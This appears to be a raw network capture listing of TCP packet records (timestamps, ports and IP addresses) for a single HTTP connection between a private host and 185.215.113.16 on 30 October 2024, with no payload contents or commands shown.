Oct 30, 2024 05:25:11.129210949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129235983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129251957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129266977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129283905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129292965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129317045 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129386902 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129566908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129581928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129607916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129625082 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129632950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129642963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129642963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129664898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.129688978 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.129735947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.172772884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.172786951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.172874928 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.178653002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.178668022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.178683996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.178936958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.178936958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.212845087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.212861061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.212878942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.212982893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.212997913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.213012934 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.213057041 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.213217974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.246665001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.246680975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.246697903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.246752977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.246834993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.246834993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.246834993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.246988058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247000933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247046947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.247061014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.247140884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247157097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247172117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247216940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247227907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.247227907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.247243881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247260094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.247275114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.247293949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.247323036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.248100996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.248151064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.248162031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.248265982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.297967911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.297985077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.297998905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.298054934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.298054934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.330291033 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330307007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330324888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330338955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330363989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.330363989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.330403090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.330511093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330527067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330543041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.330554008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.330600023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.330600023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364466906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364484072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364500046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364515066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364531040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364557981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364557981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364624023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364640951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364691973 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364708900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364742994 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364831924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364872932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364890099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364898920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364923954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.364940882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364940882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.364962101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.365402937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.365447044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.365467072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.365566015 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.365582943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.365614891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.365631104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.365639925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.365654945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.365679979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.365679979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.365710020 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.413619041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.413633108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.413708925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.447848082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.447916985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.447935104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.447946072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.447964907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.447973013 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.448060989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.448060989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.448081017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.448093891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.448147058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.486248970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486273050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486289978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486304998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486321926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486337900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486354113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.486362934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.486417055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494246006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494267941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494290113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494303942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494332075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494342089 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494358063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494373083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494388103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494399071 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494407892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494422913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.494453907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494453907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.494477987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.565499067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565515995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565532923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565547943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565565109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565644979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.565644979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.565680981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565706968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565717936 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.565717936 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.565741062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.565784931 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.565784931 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.599535942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.599551916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.599566936 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.599725962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.599725962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.603768110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.603801966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.603811979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.603828907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.603838921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.603852034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.603912115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.604104996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604115009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604125023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604150057 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.604166985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604176998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604183912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.604209900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.604775906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604784966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604795933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604806900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.604839087 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.604859114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683027029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683046103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683054924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683125019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683145046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683155060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683163881 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683176041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683222055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683222055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683222055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683444023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683463097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683474064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683512926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683512926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683512926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.683536053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.683588028 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.716917038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.716928959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.716939926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.716953039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.717176914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.717178106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.721637964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721651077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721676111 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721688986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721702099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721713066 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.721736908 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.721765995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721776962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721788883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721810102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.721821070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721833944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.721873999 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.721873999 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.721898079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.722497940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.722508907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.722520113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.722532988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.722570896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.722570896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.722598076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.800514936 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800537109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800546885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800590992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.800626993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.800673008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800734997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800746918 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.800751925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800766945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.800806046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.800806046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.800832033 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.801171064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.801181078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.801326990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.801326990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.801337957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.801347017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.801357031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.801482916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.801482916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.834526062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.834539890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.834551096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.834702015 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.834702015 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.838905096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.838915110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.838926077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.838964939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.838994980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839015961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839025021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839066982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839066982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839258909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839271069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839281082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839324951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839324951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839592934 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839603901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839613914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839659929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839659929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839673996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839684963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839694977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.839721918 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.839761019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.840375900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.840384007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.840487003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.918283939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918298960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918311119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918322086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918334007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918370008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.918395996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.918497086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918509007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918520927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918536901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918549061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.918560982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.918560982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.918615103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.952095985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.952109098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.952117920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.952140093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.952234983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.952234983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.956403971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956420898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956474066 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.956484079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956506968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956578970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.956578970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.956646919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956679106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956688881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956697941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.956712961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.956712961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.956746101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.957169056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957181931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957192898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957201958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957211971 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.957251072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.957627058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957645893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957655907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.957693100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.957740068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.000575066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.000585079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.000672102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.035633087 CET	80	49993	185.215.113.16	192.168.2.6
